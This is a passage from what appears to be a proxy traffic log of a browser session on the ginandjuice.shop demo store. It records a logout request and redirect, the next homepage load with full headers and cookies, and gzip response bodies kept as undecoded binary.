\r#2K\\ufffd\\ufffd]\\ufffd\\u001e\\ufffdN\\ufffdq\\ufffd\\ufffdݰB¥\\ufffd\\ufffdr\\ufffdR\\u0010\\ufffd\\ufffd]\\ufffd|a\\ufffd\\ufffd\\ufffd*\\ufffd\\ufffdh\\u0014\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdU\\ufffdPs\\ufffdl#\\u001c\\ufffd\\ufffd\\ufffd8\\ufffd \\ufffd\\u0004\\ufffd\\ufffd11\\ufffdy\\ufffdj\\ufffd$\\ufffd|\\ufffd\\ufffd[\\ufffd~\\ufffd7In\\n\\ufffd|\\ufffd㍜a\\ufffd\\ufffd4pE\\u0026\\ufffd\\ufffdi\\ufffd\\ufffd-v`\\t]\\ufffd\\ufffd6a\\ufffd4tmo\\u000c\\ufffd\\ufffd\\ufffd\\ufffd`G\\ufffdlS\\ufffd:\\u0000e\\ufffd\\u0013\\u0000\\ufffd\\ufffdy\\u001b6+u\\ufffd\\\"\\ufffdv\\ufffd\\ufffd\\ufffdL{\\ufffd\\u0026\\ufffdwI\\ufffds\\ufffdM!\\ufffd\\ufffd\\ufffdT\\ufffdي5S@\\ufffd\\ufffd\\ufffd\\ufffd\\u000b\\ufffdj4\\ufffd\\ufffdfԲ\\ufffdi\\ufffd\\u00126+\\ufffd͵{(\\ufffdx\\ufffd\\ufffd@m`\\ufffd\\ufffdS\\u000f\\ufffd.e\\ufffdY\\ufffd\\u000b\\ufffd\\ufffd\\ufffd\\ufffd[\\ufffd\\ufffdo\\ufffdmE[+\\ufffd\\u001b\\ufffd\\ufffd\\ufffd\\ufffdL2\\ufffd\\u003e\\u0001C@\\u001fu\\ufffdi\\ufffd\\ufffd\\ufffd^\\ufffd׬\\ufffdXim2S\\ufffd\\u0002U'$\\ufffd\\ufffd\\ufffd\\u001ei\\ufffdժ@jW\\ufffdQ\\u001a\\ufffd$\\ufffd\\u001d\\ufffd\\ufffdP5\\ufffdd\\ufffdC\\u0019\\ufffd\\ufffdkw(\\u0003,\\ufffd\\ufffd_\\u0010S}Eب\\ufffd\\ufffdx\\ufffdIJ]l\\ufffd\\ufffd\\ufffd\\ufffd\\u0015\\ufffdvV\\n\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd7p$\\ufffd?v\\ufffd?\\ufffd\\ufffd;\\ufffd\\u00041\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2094\\r\\nCache-Control: no-cache\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:41 GMT\\r\\nSet-Cookie: AWSALB=W++/+JQbTxiN/OHBUJnq0z7nTriL7qXmdSqtD8FuMwXVMB+DdSW4k3k6e2NDavgrFaNmXo7qvphCRsGZUXDaguARWYOYLs5NMs+ZFvg0Q1fcK87mjQYc3/zgcDdq; Expires=Thu, 14 Sep 2023 15:34:41 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=W++/+JQbTxiN/OHBUJnq0z7nTriL7qXmdSqtD8FuMwXVMB+DdSW4k3k6e2NDavgrFaNmXo7qvphCRsGZUXDaguARWYOYLs5NMs+ZFvg0Q1fcK87mjQYc3/zgcDdq; Expires=Thu, 14 Sep 2023 15:34:41 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:46+05:30\",\"url\":\"https://ginandjuice.shop/logout\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2; AWSALB=W++/+JQbTxiN/OHBUJnq0z7nTriL7qXmdSqtD8FuMwXVMB+DdSW4k3k6e2NDavgrFaNmXo7qvphCRsGZUXDaguARWYOYLs5NMs+ZFvg0Q1fcK87mjQYc3/zgcDdq; AWSALBCORS=W++/+JQbTxiN/OHBUJnq0z7nTriL7qXmdSqtD8FuMwXVMB+DdSW4k3k6e2NDavgrFaNmXo7qvphCRsGZUXDaguARWYOYLs5NMs+ZFvg0Q1fcK87mjQYc3/zgcDdq\",\"Referer\":\"https://ginandjuice.shop/my-account\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/logout\",\"scheme\":\"https\"},\"raw\":\"GET /logout HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2; AWSALB=W++/+JQbTxiN/OHBUJnq0z7nTriL7qXmdSqtD8FuMwXVMB+DdSW4k3k6e2NDavgrFaNmXo7qvphCRsGZUXDaguARWYOYLs5NMs+ZFvg0Q1fcK87mjQYc3/zgcDdq; AWSALBCORS=W++/+JQbTxiN/OHBUJnq0z7nTriL7qXmdSqtD8FuMwXVMB+DdSW4k3k6e2NDavgrFaNmXo7qvphCRsGZUXDaguARWYOYLs5NMs+ZFvg0Q1fcK87mjQYc3/zgcDdq\\r\\nReferer: https://ginandjuice.shop/my-account\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"0\",\"Date\":\"Thu, 07 Sep 2023 15:34:47 GMT\",\"Location\":\"/\",\"Set-Cookie\":\"AWSALB=L9mzxS2E7L48F2f8vDl+MO39oxE9+M9tFcy+STvbOJYFf3nTXFODardtaxqjkhm4leDa2G+3/sDz4EMXNmu/mSP4LIZBJANKWnr2cfqgpLpusUPISK8wkBli4N0D; Expires=Thu, 14 Sep 2023 15:34:47 GMT; Path=/, AWSALBCORS=L9mzxS2E7L48F2f8vDl+MO39oxE9+M9tFcy+STvbOJYFf3nTXFODardtaxqjkhm4leDa2G+3/sDz4EMXNmu/mSP4LIZBJANKWnr2cfqgpLpusUPISK8wkBli4N0D; Expires=Thu, 14 Sep 2023 15:34:47 GMT; Path=/; SameSite=None; Secure, session=UeLc4S4hyi19aLba4fvsmba8ZhjwmwH2; Secure; HttpOnly; SameSite=None\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"raw\":\"HTTP/1.1 302 Found\\r\\nConnection: close\\r\\nContent-Encoding: gzip\\r\\nDate: Thu, 07 Sep 2023 15:34:47 GMT\\r\\nLocation: /\\r\\nSet-Cookie: AWSALB=L9mzxS2E7L48F2f8vDl+MO39oxE9+M9tFcy+STvbOJYFf3nTXFODardtaxqjkhm4leDa2G+3/sDz4EMXNmu/mSP4LIZBJANKWnr2cfqgpLpusUPISK8wkBli4N0D; Expires=Thu, 14 Sep 2023 15:34:47 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=L9mzxS2E7L48F2f8vDl+MO39oxE9+M9tFcy+STvbOJYFf3nTXFODardtaxqjkhm4leDa2G+3/sDz4EMXNmu/mSP4LIZBJANKWnr2cfqgpLpusUPISK8wkBli4N0D; Expires=Thu, 14 Sep 2023 15:34:47 GMT; Path=/; SameSite=None; Secure\\r\\nSet-Cookie: session=UeLc4S4hyi19aLba4fvsmba8ZhjwmwH2; Secure; HttpOnly; SameSite=None\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\nContent-Length: 0\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:47+05:30\",\"url\":\"https://ginandjuice.shop/\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; AWSALB=L9mzxS2E7L48F2f8vDl+MO39oxE9+M9tFcy+STvbOJYFf3nTXFODardtaxqjkhm4leDa2G+3/sDz4EMXNmu/mSP4LIZBJANKWnr2cfqgpLpusUPISK8wkBli4N0D; AWSALBCORS=L9mzxS2E7L48F2f8vDl+MO39oxE9+M9tFcy+STvbOJYFf3nTXFODardtaxqjkhm4leDa2G+3/sDz4EMXNmu/mSP4LIZBJANKWnr2cfqgpLpusUPISK8wkBli4N0D; session=UeLc4S4hyi19aLba4fvsmba8ZhjwmwH2\",\"Referer\":\"https://ginandjuice.shop/my-account\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/\",\"scheme\":\"https\"},\"raw\":\"GET / HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; AWSALB=L9mzxS2E7L48F2f8vDl+MO39oxE9+M9tFcy+STvbOJYFf3nTXFODardtaxqjkhm4leDa2G+3/sDz4EMXNmu/mSP4LIZBJANKWnr2cfqgpLpusUPISK8wkBli4N0D; AWSALBCORS=L9mzxS2E7L48F2f8vDl+MO39oxE9+M9tFcy+STvbOJYFf3nTXFODardtaxqjkhm4leDa2G+3/sDz4EMXNmu/mSP4LIZBJANKWnr2cfqgpLpusUPISK8wkBli4N0D; session=UeLc4S4hyi19aLba4fvsmba8ZhjwmwH2\\r\\nReferer: https://ginandjuice.shop/my-account\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2128\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:47 GMT\",\"Set-Cookie\":\"AWSALB=EeUP0iKoblECp3EJrR7G3VkVXCB824uzYMUKxXSQm3dzHWM8O+zBi9JJ1ycx4rw89sTDpO5ron/v2igr7ki2rVUBc9cHkO/BE+HpmdhpXzFd01fKZVWnAa9/Muom; Expires=Thu, 14 Sep 2023 15:34:47 GMT; Path=/, AWSALBCORS=EeUP0iKoblECp3EJrR7G3VkVXCB824uzYMUKxXSQm3dzHWM8O+zBi9JJ1ycx4rw89sTDpO5ron/v2igr7ki2rVUBc9cHkO/BE+HpmdhpXzFd01fKZVWnAa9/Muom; Expires=Thu, 14 Sep 2023 15:34:47 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffd\\u001a\\ufffdr\\ufffd6\\ufffd\\ufffdb˻\\ufffd\\ufffd\\ufffdP\\ufffd$\\ufffd\\ufffdL$u\\u0012;\\u001f\\ufffd\\ufffd\\ufffd[{\\ufffd\\ufffd\\ufffdd \\u0012\\ufffd\\ufffd\\ufffd\\u0000K\\ufffd\\ufffd\\ufffdH}\\ufffd{\\ufffd[\\u0000\\ufffdLI\\ufffdH\\ufffd\\ufffdLn\\u0026\\u001e\\ufffd-\\u0000\\ufffd\\ufffd\\ufffd~/\\ufffd\\ufffd\\ufffdg\\ufffdO\\ufffd\\u003e\\\\\\ufffd\\ufffd\\ufffdN\\ufffd仑\\ufffd\\u0007\\ufffd3\\ufffdS\\u0012\\ufffd\\ufffdvș\\ufffd\\u0004\\ufffd\\ufffd\\ufffd\\ufffdAF\\ufffd̳\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0001\\ufffdY\\u0010*\\u0015\\ufffd\\ufffd\\ufffd_\\ufffd[;\\ufffd\\ufffd\\t\\ufffd(\\u001f+]p\\ufffd\\ufffd\\ufffd\\ufffd6b\\ufffd\\u0004\\u0012T\\ufffdH\\u0026\\ufffd\\ufffd\\t$T\\u0013\\u0010$\\ufffdco\\ufffd\\ufffd2\\ufffd\\ufffd\\ufffd \\ufffdBS\\ufffd\\ufffdޒEz\\u003e\\ufffd肅Է\\ufffdǐ+\\ufffd\\ufffd\\ufffd!\\ufffd\\ufffd\\ufffdXH\\ufffdBM\\ufffd\\u0019K5\\ufffd,\\u001c{\\u0015\\ufffd\\ufffd\\u0015\\u000eH\\ufffd{H\\ufffdr\\ufffd\\u0026H\\ufffdw\\ufffd\\ufffd\\ufffd(p\\u0018\\ufffdI\\ufffd\\ufffdL\\u000e \\ufffd\\ufffd\\u0014O\\ufffd\\ufffd\\ufffd\\u000e\\ufffdɂ\\ufffdY\\ufffd\\ufffd:\\u0011q\\ufffdI\\ufffd\\ufffd\\ufffd?\\ufffd\\ufffd6Q\\ufffdLs:y+\\u0013\\n\\u003e\\ufffda\\u0002\\u001e\\ufffd$}\\u000e?\\ufffd(\\u001f\\ufffd\\ufffd\\ufffdt\\u00148\\u0010\\ufffd\\ufffd\\ufffdV\\ufffd\\ufffd\\ufffd\\ufffd\\n\\u0010\\ufffdOҴB0b\\u000b`\\ufffdثj\\ufffd\\\"Pw\\u0014\\u001aj\\u0026\\u0005\\ufffd\\ufffd(5\\ufffd\\ufffd\\ufffd\\ufffd\\u0011u\\ufffd\\ufffd\\ufffd\\u0016\\ufffdEJw\\ufffd\\ufffd\\ufffd՜)\\ufffd_\\u0002\\u0011\\ufffdlJ3\\ufffd)/`\\ufffds\\ufffd\\ufffdQ\\ufffd\\ufffd\\ufffdS@\\u001e9\\u000b\\ufffd\\ufffd\\u0015\\ufffda\\ufffd\\ufffd\\u0011\\ufffdd\\u0006\\ufffd*\\ufffdDl\\ufffd\\u001e\\ufffd\\ufffdJ\\ufffd\\ufffd\\u0010\\u0019g\\ufffdpS\\ufffd(8\\ufffdz\\ufffd\\u000c\\ufffdTJ\\ufffdG1\\ufffd\\ufffd\\ufffd\\u0014\\ufffdD\\ufffdBe\\ufffd̘\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdM\\u001f\\ufffd\\ufffd_/\\ufffd\\ufffd\\ufffd\\ufffd`c5\\ufffd\\ufffd\\ufffd\\ufffdЭ\\ufffd\\ufffdqVT\\ufffdO6\\ufffd\\ufffdt\\ufffd\\ufffd\\u0019\\u003c\\ufffdn\\ufffd\\ufffd\\u0001T\\ufffd\\ufffd\\u0018\\u000e7\\ufffd'\\ufffd\\ufffd\\ufffdRZc ZN\\u001f\\u001e\\ufffd\\u000f\\ufffdӟ\\ufffdy\\ufffd\\ufffd\\ufffd5#ܤ\\ufffd\\u001b\\ufffd\\ufffd\\ufffdx|\\ufffdh\\ufffd+\\ufffd\\ufffd\\ufffd\\ufffdz\\ufffd\\ufffdV\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdܠfnX3w\\ufffdM.r\\r\\u0005\\ufffd5\\ufffdz\\u0000-AϩU\\ufffd\\ufffdh\\ufffd(\\ufffd\\u001as\\t\\ufffd\\ufffd\\u0005\\u0001\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd#g\\ufffd/\\ufffdFG5d\\ufffdy;P\\u0013R\\u0008C\\ufffdz\\ufffd\\u001c\\u0011\\u0017Ŏ\\ufffd\\u001a25\\ufffd\\ufffd\\rm\\u003e\\ufffd\\ufffdD?\\ufffd\\ufffd\\u0006\\ufffd\\u0001iX\\ufffd%e\\u001d\\ufffdo\\ufffd\\ufffd\\ufffd\\u0008Ұ\\ufffd\\u001a\\\"\\ufffd+\\ufffdFX\\u0016[\\ufffd\\ufffdK\\ufffd5Ʈ \\ufffdXB\\ufffdj\\u001cw\\ufffd$g\\ufffd@\\u0016\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdZcPp\\u0002\\ufffd\\u0002\\ufffdL\\ufffdrB\\ufffd\\ufffdd\\ufffd\\ufffdZ5\\ne\\ufffd\\\\\\ufffde\\ufffd\\ufffds7\\ufffd\\ufffd\\ufffdĿ_\\u0015[d*s\\ufffdM\\ufffd\\u001b?\\ufffd2+\\ufffd\\u0010s\\ufffd \\ufffdw6!\\ufffdA)\\ufffd{6\\\"\\u0012\\ufffd2\\u0017\\ufffdgaE*I\\ufffd\\ufffd\\ufffd\\ufffd\\u001d\\ufffd\\\"\\ufffd\\ufffd0\\ufffd\\ufffd\\u0016o\\ufffd)Zxl\\ufffd!\\ufffd\\n\\ufffd\\ufffd\\ufffd\\ufffdؠ\\ufffdn\\ufffd\\ufffd\\u0026\\ufffd\\u001a:]\\ufffd[\\ufffd\\ufffd\\u001b\\ufffdA\\ufffd\\ufffd=\\ufffd\\ufffd9T\\u000f~.c`\\ufffd3ǖn'\\ufffd\\ufffd_\\ufffd)\\ufffd\\ufffd|O\\ufffd\\ufffd\\ufffdvwz\\ufffda\\ufffd!ɶ\\ufffd\\ufffd\\u000c|\\ufffdY1\\ufffdj2_\\ufffd̀\\u001d\\ufffdנZӽ\\ufffd~\\ufffd\\ufffdv\\u003er\\ufffd\\ufffd}-\\ufffd\\ufffdS܍l\\ufffdf,\\ufffdM\\ufffd\\ufffdN\\ufffd\\u003eL\\ufffd\\u0000\\ufffd\\ufffdkT\\u001a\\u0005\\ufffdy\\ufffd!\\ufffd\\ufffdL\\ufffd\\ufffd\\u0013[P6#c\\ufffdb:\\ufffd9\\u0016\\ufffd-Up\\ufffd\\ufffdz\\ufffd\\ufffd\\ufffd\\n\\ufffd\\ufffd\\u0004\\ufffd탳\\ufffd.\\ufffd\\ufffd\\u0005-5\\ufffd\\ufffd\\ufffdo\\u0019y\\ufffd\\u0010\\u0003\\ufffdܰ\\ufffdŲ-4\\\\\\ufffd\\ufffd'f\\ufffd*\\ufffd\\ufffdc\\ufffd\\ufffd\\ufffd\\ufffd!\\ufffd\\ufffd\\ufffd0@8Ǻ\\ufffd%\\ufffd7Tt;̚ndE\\ufffd\\\"\\ufffd\\ufffd\\ufffd}\\ufffdVļ\\ufffd:\\ufffdۙl`\\ufffd\\ufffdS\\ufffd\\ufffd4v\\u0017\\ufffdK\\r\\ufffd\\u0007\\u0003\\ufffd\\u0016\\ufffdZM\\ufffdI8c\\ufffdlp\\ufffd\\ufffd\\ufffd\\ufffd?d\\ufffd#\\ufffd\\u0013\\u0005\\ufffdxr\\ufffd\\ufffd\\u000c\\u0014r\\ufffd!\\ufffd\\ufffd\\ufffd\\n\\ufffd\\u000cb\\u0026\\ufffdǮ-\\ufffd\\ufffdd\\ufffdݑ)E\\ufffd'\\ufffdSS\\r+Ԭ\\ufffd\\u0015Vl\\ufffde\\ufffd\\ufffdom\\ufffd=\\ufffd%\\u001d:F7\\ufffd\\u000b\\ufffds\\ufffdu\\u0019\\ufffd@P\\u001a\\ufffd\\ufffdN\\ufffd\\ufffdi܍-@\\ufffd\\ufffd\\ufffd\\ufffd}\\ufffdF\\ufffdf\\ufffd[~\\ufffd\\u000e'X)\\ufffd\\ufffd\\ufffd\\ufffdNE\\u0018\\ufffdNL%+?\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000et,-\\ufffd\\ufffd\\ufffd%\\ufffdMW\\ufffd\\ufffd\\ufffdV\\u0014\\ufffd6PA\\ufffd욦\\ufffd~\\ufffd\\u00113g\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\ufffd|8\\ufffdX\\ufffd\\ufffd+\\ufffd\\u000f\\ufffd2\\ufffd\\ufffdR\\ufffd\\u0018\\u0002\\ufffd\\u0007\\ufffd\\ufffd\\ufffdl3b\\ufffd\\u0015\\ufffd\\ufffdpUuXl\\ufffdBL\\u0018\\ufffd\\u001c\\u001e\\ufffd\\ufffd\\u001c7\\ufffd\\ufffd\\ufffdT\\ufffd\\ufffd\\ufffd\\ufffdԈ\\ufffdө\\ufffdĺ\\u0015\\u0002\\u001d,`pO\\u0016\\ufffd\\ufffd\\u001f\\ufffdr\\u0017\\ufffd჉\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd'wU\\ufffd\\ufffdOz\\ufffd~\\ufffd\\ufffdV\\ufffd\\ufffd\\ufffd\\u0014~|\\ufffd\\ufffd_g9\\ufffd\\ufffd\\u001e\\ufffd\\u0019'\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd٠\\ufffd\\ufffd\\ufffdש斲ʁ\\ufffdON\\ufffdFr_U\\ufffd\\ufffdj9\\ufffd\\ufffd\\ufffd\\u0018R\\ufffd.Ir\\u000b\\ufffdOe;\\u000e\\ufffd\\ufffd\\u0002\\u0005\\u0006\\ufffdG\\ufffd\\ufffdyE\\ufffd\\ufffd\\ufffdaU\\ufffd\\ufffdw\\ufffd\\ufffd^{\\u00176\\ufffd\\u000f\\u0026/\\ufffd-aY\\u0001g\\ufffd@\\ufffd\\u001e\\ufffdr\\ufffda\\u003cXC\\ufffd*A\\ufffdx\\ufffd8\\ufffdj3\\ufffd\\u000eV\\ufffd\\ufffd$,ȗ\\u0015\\ufffdI'\\ufffd\\u000e\\u000f\\u0010\\ufffd\\u0015\\u0016\\ufffd\\ufffd2I9\\ufffdB\\ufffd^Dz\\ufffd\\u0005E\\ufffd\\ufffd\\t\\ufffd\\ufffd\\u001eh\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdn\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd{\\u0026%\\ufffd\\u001c\\ufffd2Ò\\ufffd\\ufffd\\ufffdݪH\\u001dBS\\ufffd\\ufffdK\\ufffdә\\ufffd\\u0011\\ufffdso\\ufffd\\ufffd\\u0013\\ufffdFh_\\ufffd@\\u000bxG1}@{a\\\"\\u001c|P\\ufffd\\ufffd\\ufffd\\ufffdS\\nB.\\ufffd\\ufffd\\t\\ufffd\\ufffd?Kl\\ufffdLͱ4\\u001dߒE\\u0014B\\ufffd$\\ufffd\\ufffdn\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0008\\ufffdm7#\\u00023L\\ufffd\\u001e\\ufffd\\ufffd)z\\u0013\\ufffd\\\\\\ufffd\\u0005\\ufffdD\\ufffd\\ufffd\\ufffd9B\\ufffd\\ufffd\\ufffd\\u000f\\ufffd\\r\\ufffd\\ufffd\\ufffdy\\u000c\\ufffdDQ\\u001c\\ufffd\\ufffds2\\ufffd\\ufffd\\ufffd7pl('2\\ufffd-\\ufffdF\\ufffd\\ufffd\\ufffdh\\ufffd\\u0015q}\\ufffdw\\ufffd\\ufffd\\\\\\ufffd\\ufffd\\ufffdG\\ufffdZY\\ufffd7\\ufffd\\u0015\\ufffdw+\\ufffd,\\ufffd ´\\ufffd'Tϥi\\ufffdM\\u0014pS\\ufffd\\ufffd@\\ufffd\\ufffd\\ufffd%\\ufffd\\ufffd*L\\ufffd\\ufffdF1\\ufffd\\ufffd\\ufffd\\u000c{i\\ufffdHJ\\u0013̋\\ufffd%\\ufffd}D\\ufffd\\u000e\\ufffd\\\\\\ufffd\\ufffd4\\ufffd\\ufffd\\ufffd\\u0014\\ufffd\\\"\\u003cm[\\ufffdSKޛ\\ufffd(\\ufffd\\ufffd+ߚC\\ufffd\\ufffd\\u003c0\\ufffd\\u001e\\u000e\\ufffd͟\\ufffdIt\\u001a\\ufffd.^\\u003cS\\ufffd\\ufffd)5\\ufffd\\ufffd\\ufffd\\ufffd\\u001f\\ufffd_/\\ufffd^\\ufffd\\ufffd\\ufffdж_\\u0019P\\ufffd\\ufffd@\\ufffd\\ufffd(\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdJ2\\ufffd\\ufffd-ߥ\\ufffd4\\ufffd\\ufffd\\n\\u000be\\ufffdJộ\\u0003\\ufffdc\\ufffd\\ufffd\\ufffd\\ufffd-'\\u000c\\ufffdT\\ufffd_\\ufffdS\\ufffd\\ufffd\\ufffd\\ufffdS9}ji\\ufffdY\\ufffd\\u001e\\ufffd7\\n\\ufffd\\ufffdxz۩\\ufffd\\ufffd\\ufffd\\ufffdLv.#\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdOg`\\\"A\\ufffd\\ufffdX\\ufffd\\ufffd\\ufffd\\ufffd;\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdmio\\ufffd\\ufffda\\ufffd\\ufffd\\ufffd0\\ufffdپ\\ufffd\\ufffdM\\ufffd`0\\u0006i\\ufffd\\u0015\\ufffd\\ufffd\\ufffd\\u0017\\ufffd\\ufffd\\ufffd*i\\ufffd\\ufffdK\\ufffdk%\\ufffd\\ufffdƥ]\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd34\\ufffd!\\ufffd\\ufffd\\ufffd!QF#\\u001f\\ufffd\\ufffd'oKf\\ufffd%(\\ufffdn_\\ufffd\\ufffd\\ufffd\\ufffd\\u0000\\ufffdt\\ufffd\\\"M\\ufffd\\ufffd\\ufffdc\\n\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdީ\\ufffd˷\\ufffd|[\\ufffd\\ufffdd\\u001a\\ufffd\\u0014\\ufffd\\u0019\\ufffdQ\\ufffd\\ufffdY\\u0008\\ufffd\\ufffd/\\ufffd썵\\u00070ա\\u00020^ѭ\\ufffd]e=T]\\ufffd\\ufffd\\ufffd!\\ufffd\\ufffd\\ufffd\\u000e\\ufffdZڋz\\ufffd@\\ufffdI\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdK\\ufffd!\\\\ 